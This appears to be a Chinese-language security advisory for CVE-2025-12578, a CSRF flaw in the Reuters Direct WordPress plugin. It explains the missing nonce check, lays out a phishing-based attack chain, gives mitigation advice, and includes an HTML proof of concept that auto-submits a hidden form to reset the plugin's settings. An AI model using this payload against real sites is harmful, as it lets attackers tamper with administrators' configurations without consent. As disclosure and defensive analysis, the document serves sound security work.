CVE-2025-12578 WordPress Reuters Direct插件CSRF漏洞

漏洞信息

漏洞编号

CVE-2025-12578

漏洞类型

跨站请求伪造(CSRF)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Reuters Direct plugin for WordPress

漏洞概述

CVE-2025-12578是WordPress平台Reuters Direct插件中的一个跨站请求伪造（CSRF）漏洞。该插件用于在WordPress网站上集成路透社新闻内容。漏洞存在于插件的设置页面（class-reuters-direct-settings.php）中，由于缺少正确的nonce验证机制，攻击者可以构造恶意请求诱骗网站管理员执行非预期的操作。攻击者只需精心设计一个链接或网页，诱使已登录的管理员点击，即可触发设置重置等敏感操作。此漏洞虽然不直接导致代码执行或数据泄露，但可能破坏网站配置，影响新闻内容的正常展示，且常被用于进一步的攻击链中。由于CVSS评分为4.3（中等），对系统机密性和可用性影响较低，但对完整性有一定影响，需要管理员交互才能触发，因此属于中危漏洞。

技术细节

该漏洞的根本原因在于WordPress插件的CSRF保护机制不完善。在WordPress安全架构中，nonce机制是防止CSRF攻击的核心手段，开发者需要在处理敏感操作时验证请求中的nonce值。然而，Reuters Direct插件在class-reuters-direct-settings.php文件中的设置保存和重置功能未能正确实现这一验证。具体来说，当管理员访问插件设置页面并提交表单时，服务器端代码未检查请求中是否包含有效的wpnonce参数，或者验证逻辑存在缺陷。攻击者可以利用这一弱点，构造一个包含恶意参数的POST或GET请求，诱骗已登录的管理员访问。当管理员点击攻击者提供的链接时，浏览器会自动携带该域名下的Cookie向目标站点发送请求，服务器因缺少nonce验证而认为这是合法的管理员操作，从而执行攻击者预设的设置重置命令。攻击者可能利用此漏洞修改插件配置，破坏新闻内容集成功能，或将其作为社交工程攻击的一部分。

攻击链分析

STEP 1

步骤1

攻击者识别目标网站使用的Reuters Direct插件版本（<=3.0.0），确认存在CSRF漏洞

STEP 2

步骤2

攻击者创建恶意网页或钓鱼邮件，包含精心构造的CSRF payload

STEP 3

步骤3

攻击者通过社交工程手段（钓鱼邮件、即时消息、社交媒体等）诱骗网站管理员访问恶意链接

STEP 4

步骤4

已登录的管理员浏览器自动向目标站点发送请求，携带有效的管理员Cookie

STEP 5

步骤5

服务器因缺少nonce验证，执行攻击者预设的操作（重置插件设置）

STEP 6

步骤6

插件设置被重置为默认值，可能导致新闻内容集成功能失效或被恶意配置

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2025-12578 - Reuters Direct Settings Reset -->
<html>
<body>
  <h2>CVE-2025-12578 CSRF PoC</h2>
  <p>诱骗管理员点击此链接将重置Reuters Direct插件设置</p>
  
  <!-- 自动提交的表单 -->
  <form id="csrfForm" action="http://target-site.com/wp-admin/admin.php?page=reuters-direct-settings" method="POST">
    <input type="hidden" name="action" value="reset_settings">
    <input type="hidden" name="reuters_api_key" value="">
    <input type="hidden" name="reuters_category" value="">
    <input type="hidden" name="submit" value="Reset to Defaults">
  </form>

  <script>
    // 自动提交表单
    document.getElementById('csrfForm').submit();
  </script>
  
  <p>或者诱骗管理员点击以下链接（GET请求方式）：</p>
  <a href="http://target-site.com/wp-admin/admin.php?page=reuters-direct-settings&action=reset_settings&_wpnonce=attacker_controlled_value">点击此处重置设置</a>
</body>
</html>

影响范围

Reuters Direct plugin for WordPress <= 3.0.0

防御指南

临时缓解措施

在官方补丁发布之前，网站管理员应提高安全意识，避免点击来自不可信来源的链接，特别是要求执行管理操作的链接。同时可以使用Web应用防火墙（WAF）规则检测和阻止异常的CSRF请求模式。建议临时禁用Reuters Direct插件直至漏洞修复。